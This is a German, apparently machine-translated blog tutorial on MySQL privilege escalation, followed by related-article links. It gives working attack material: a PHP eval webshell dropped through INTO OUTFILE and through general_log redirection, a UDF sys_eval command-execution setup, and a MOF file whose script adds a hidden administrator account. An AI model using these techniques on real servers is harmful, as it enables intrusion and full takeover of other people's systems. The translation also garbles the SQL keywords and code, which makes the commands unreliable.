Zusammenfassung der verschiedenen Haltungen der MySQL-Berechtigungseskalation

Zusammenfassung der verschiedenen Haltungen der MySQL-Berechtigungseskalation

1. Schreiben Sie Webshell

in die Outfile-Shell schreiben

Voraussetzungen:

1. Kennen Sie den physischen Pfad der Website

2. Datenbankbenutzer mit hohen Berechtigungen

3. load_file() ist aktiviert, d. h. secure_file_priv ist unbegrenzt

4. Der Website-Pfad hat Schreibberechtigung

Zunächst fragt die grundlegende Syntax ab, ob secure_file_priv keine Einschränkungen hat

globale Variablen wie „%secure_file_priv%“ anzeigen; 

Wert veranschaulichen
NULL Kein Import oder Export erlaubt
/var Import und Export sind nur im /var-Verzeichnis erlaubt
Null Unbegrenztes Verzeichnis

Vor MySQL 5.5 war secure_file_priv standardmäßig leer. In diesem Fall konnten Sie Dateien in jeden absoluten Pfad schreiben.

Nach MySQL 5.5 ist secure_file_priv standardmäßig auf NULL eingestellt. In diesem Fall können keine Dateien geschrieben werden.

Wenn alle oben genannten Bedingungen erfüllt sind, können Sie versuchen, mit der folgenden SQL-Anweisung direkt in die Shell zu schreiben:

Wählen Sie „<?php @eval($_POST[cmd]); ?>“ in der Ausgabedatei „C:\\soft\\WWW\\empirecms\\shell.php“; 

Überprüfen Sie den Zielpfad und stellen Sie fest, dass die Datei shell.php geschrieben wurde

Oberer Küchenmesseranschluss

Shell zum Schreiben von Protokolldateien

Voraussetzungen:

1. Webordner können lose Berechtigungen schreiben

2. Windows

3. Führen Sie MySQL oder Apache mit hohen Berechtigungen aus

MySQL 5.0 und höher erstellt eine Protokolldatei, die durch Ändern der globalen Variablen des Protokolls in getshell geändert werden kann.

Anzeigen des Protokollverzeichnisses

VARIABLEN WIE „general%“ ANZEIGEN; 

general_log ist standardmäßig deaktiviert. Wenn Sie es aktivieren, werden alle vom Benutzer eingegebenen Befehle aufgezeichnet und in der entsprechenden Protokolldatei gespeichert.
Sie können versuchen, die Protokolldatei anzupassen und Inhalt in die Protokolldatei zu schreiben. Anschließend können Sie Getshell erfolgreich verwenden:

Ändern des Speicherorts der Protokolldatei

setze globales General_Log = "ON";
setze global general_log_file='C:\\soft\\WWW\\empirecms\\log.php';

Anzeigen der aktuellen Protokollkonfiguration

Überprüfen Sie das Zielverzeichnis und schreiben Sie die Datei log.php

In Shell schreiben

wählen Sie '<?php @eval($_POST[cmd]); ?>' 

Auf dem Küchenmesser verbinden


2. UDF-Berechtigungserweiterung

Eine benutzerdefinierte Funktion ist eine Erweiterung der Datenbankfunktionalität. Benutzer können benutzerdefinierte Funktionen verwenden, um Funktionen zu implementieren, die in MySQL nicht einfach implementiert werden können. Die neu hinzugefügten Funktionen können in SQL-Anweisungen aufgerufen werden, genau wie beim Aufruf der nativen Funktion version().

Dynamische Linkbibliothek

Wenn die MySQL-Version >= 5.1 ist, muss die UDF-Dynamic Link Library-Datei vor dem Erstellen einer benutzerdefinierten Funktion im Ordner lib\plugin im MySQL-Installationsverzeichnis abgelegt werden.

Wo finden Sie also die Dynamic Link Library-Dateien? Tatsächlich werden unsere häufig verwendeten Tools sqlmap und Metasploit beide mit dynamischen Linkbibliotheksdateien für die entsprechenden Systeme geliefert.

Speicherort der Dynamic Link Library-Datei „sqlmap UDF“

sqlmap-Stammverzeichnis/data/udf/mysql

Diese in sqlmap enthaltenen dynamischen Linkbibliotheken wurden jedoch so codiert, dass ein versehentliches Beenden verhindert wird, und können nicht direkt verwendet werden. Sie können jedoch das mit sqlmap mitgelieferte Dekodierungstool cloak.py verwenden, um es zu dekodieren. Der Speicherort von cloak.py lautet: sqlmap-Stammverzeichnis/extra/cloak/cloak.py.

Die Dekodierungsmethode ist wie folgt:

Dekodierung der 32-Bit-Windows-Dynamic-Link-Library:

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

Die Dekodierung anderer dynamischer Linkbibliotheken unter Linux und Windows ist ähnlich

Oder verwenden Sie direkt die mit Metasploit gelieferte dynamische Linkbibliothek ohne Dekodierung

Speicherort der dynamischen Linkbibliotheksdatei von Metasploit UDF

Die nächste Aufgabe besteht darin, die UDF-Dynamic-Link-Library-Datei in das MySQL-Plugin-Verzeichnis zu legen. Wie findet man dieses Verzeichnis? Zur Abfrage können Sie folgende SQL-Anweisung verwenden:

Variablen wie „%plugin%“ anzeigen


Schreiben Sie eine dynamische Linkbibliothek

Wenn secure_file_priv unbegrenzt ist, können wir Dateien manuell in das Plugin-Verzeichnis schreiben

Wählen Sie load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll') in der Dumpdatei 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll';

C

Erstellen Sie eine benutzerdefinierte Funktion und rufen Sie den Befehl auf

Erstellen einer benutzerdefinierten Funktion

FUNKTION „sys_eval“ ERSTELLEN – GIBT STRING SONAME „udf.dll“ ZURÜCK; 

Überprüfen Sie, ob sys_eval hinzugefügt wurde

Anschließend können Sie Systembefehle über die erstellte Funktion ausführen:

Löschen einer benutzerdefinierten Funktion

Funktion sys_eval löschen;

3. MOF-Berechtigungserweiterung

MOF-Privilegienausweitungsprinzip

Das Prinzip der Mof-Berechtigungserweiterung ist eigentlich sehr einfach. Es verwendet die Datei nullevt.mof im Verzeichnis c:/windows/system32/wbem/mof/, um einmal pro Minute zu einer bestimmten Zeit unseren cmd-Befehl zur Ausführung zu schreiben.

Strenge Voraussetzungen:

1. Windows 03 und darunter

2. Die MySQL-Startidentität hat die Berechtigung zum Lesen und Schreiben des Verzeichnisses c:/windows/system32/wbem/mof

3. Der Parameter secure-file-priv ist nicht null

Prozess zur Rechteausweitung:

Die MOF-Datei wird alle fünf Sekunden ausgeführt und ist eine Systemberechtigung. Wir verwenden load_file über MySQL, um die Datei in /wbme/mof zu schreiben, und dann führt das System alle fünf Sekunden die von uns hochgeladene MOF aus. In MOF gibt es ein VBS-Skript. Wir können den Inhalt dieses VBS-Skripts steuern, damit das System Befehle ausführen und Berechtigungen erhöhen kann.

Der Exploit-Code lautet wie folgt (test.mof):

#pragma namespace("\\\\.\\root\\abonnement")
Instanz von __EventFilter als $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Abfrage = "Select * From __InstanceModificationEvent"
"Wobei TargetInstance eine \"Win32_LocalTime\" ist "
"Und TargetInstance.Second = 5";
Abfragesprache = "WQL";
};
Instanz von ActiveScriptEventConsumer als $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
SkriptText =
"var WSH = neues ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe Benutzer hpdoger 123456 /add\")\nWSH.run(\"net.exe lokale Gruppenadministratoren hpdoger /add\")";
};
Instanz von __FilterToConsumerBinding
{
Verbraucher = $Verbraucher;
Filter = $EventFilter;
};

MOF-Dateinutzung:

Laden Sie das obige Skript in ein Verzeichnis mit Lese- und Schreibberechtigungen hoch:

Hier habe ich es nach C:\soft\ hochgeladen, und wir verwenden SQL-Anweisungen, um die Datei nach c:/windows/system32/wbem/mof/ zu importieren.

Wählen Sie load_file("C:/soft/test.mof") in der Dumpdatei "c:/windows/system32/wbem/mof/nullevt.mof"

Überprüfen Sie die Rechteausweitung:

Wenn wir mof erfolgreich exportieren, wird mof direkt ausgeführt und alle 5 Sekunden ein Benutzer erstellt.

Über die Nachteile der MOF-Berechtigungserweiterung

Nachdem wir die Berechtigungen erfolgreich erhöht haben, erstellt mof das ursprüngliche Konto innerhalb von fünf Sekunden neu, selbst wenn das Konto gelöscht wird. Dies wird uns große Schwierigkeiten bereiten, den Test zu beenden, also gehen Sie mit Vorsicht vor. Wie löschen wir also unser gehacktes Konto?

Führen Sie die folgende Anweisung in cmd aus:

#Stoppen Sie den WinMGM-Dienst net stop winmgmt

#Löschen Sie den Repository-Ordner rmdir /s /q C:\Windows\system32\wbem\Repository\

# Löschen Sie die MOF-Datei manuell: del c:/windows/system32/wbem/mof/nullevt.mof /F /S

# Löschen Sie den erstellten Benutzer net user hpdoger /delete

#Starten Sie den Dienst net start winmgmt neu

Zusammenfassen

Dies ist das Ende dieses Artikels über MySQL-Privilegienerweiterungstechniken. Weitere Informationen zu MySQL-Privilegienerweiterungstechniken finden Sie in früheren Artikeln auf 123WORDPRESS.COM oder in den folgenden verwandten Artikeln. Ich hoffe, Sie werden 123WORDPRESS.COM auch in Zukunft unterstützen!

Das könnte Sie auch interessieren:
  • Linux verwendet die UDF-Bibliothek, um eine MySQL-Berechtigungserweiterung zu realisieren
  • MySQL-Methode zur Rechteausweitung
  • Eskalation von Berechtigungen im Namen von MySQL

<<:  Ein mobiler adaptiver Webseiteneffekt löst das Problem der kleinen Anzeigeseite

>>:  Details zu Linux-Dateideskriptoren, Dateizeigern und Inodes

Artikel empfehlen

Verwenden Sie Element+vue, um Start- und Endzeitlimits zu implementieren

In diesem Artikelbeispiel wird der spezifische Co...

Empfohlene Tipps für Web-Frontend-Ingenieure

Lassen Sie uns zunächst über den Wert von Web-Fro...

Javascript zum Erzielen eines Trommeleffekts

In diesem Artikel wird der spezifische Code von J...

Detaillierte Schritte zur Installation eines Hadoop-Clusters unter Linux

Inhaltsverzeichnis 1. Erstellen Sie ein Hadoop-Ve...

Implementierung einfacher Tabs mit js

Tab-Auswahlkarten werden auf echten Webseiten seh...

So führen Sie Linux-Shell-Befehle in Docker aus

Um einen Shell-Befehl in Docker auszuführen, müss...

Document Object Model (DOM) in JavaScript

Inhaltsverzeichnis 1. Was ist DOM 2. Elemente aus...

Details zum TypeScript-Mapping-Typ

Inhaltsverzeichnis 1. Zugeordnete Typen 2. Mappin...

Erstellen Sie in 5 Minuten einen WebRTC-Videochat

Im vorherigen Artikel habe ich den detaillierten ...

5 Dinge, die beim Schreiben von React-Komponenten mit Hooks zu beachten sind

Inhaltsverzeichnis 01. Verwenden Sie useState, we...

Detaillierte Erläuterung der kombinierten MySQL-Indexmethode

Für jedes DBMS sind die Indizes der wichtigste Op...

Tab-Effekte mit JS schreiben

In diesem Artikelbeispiel wird der spezifische Co...

MySQL-Tabellenübergreifende Abfrage und Tabellenübergreifende Aktualisierung

Freunde, die über Grundkenntnisse in SQL verfügen...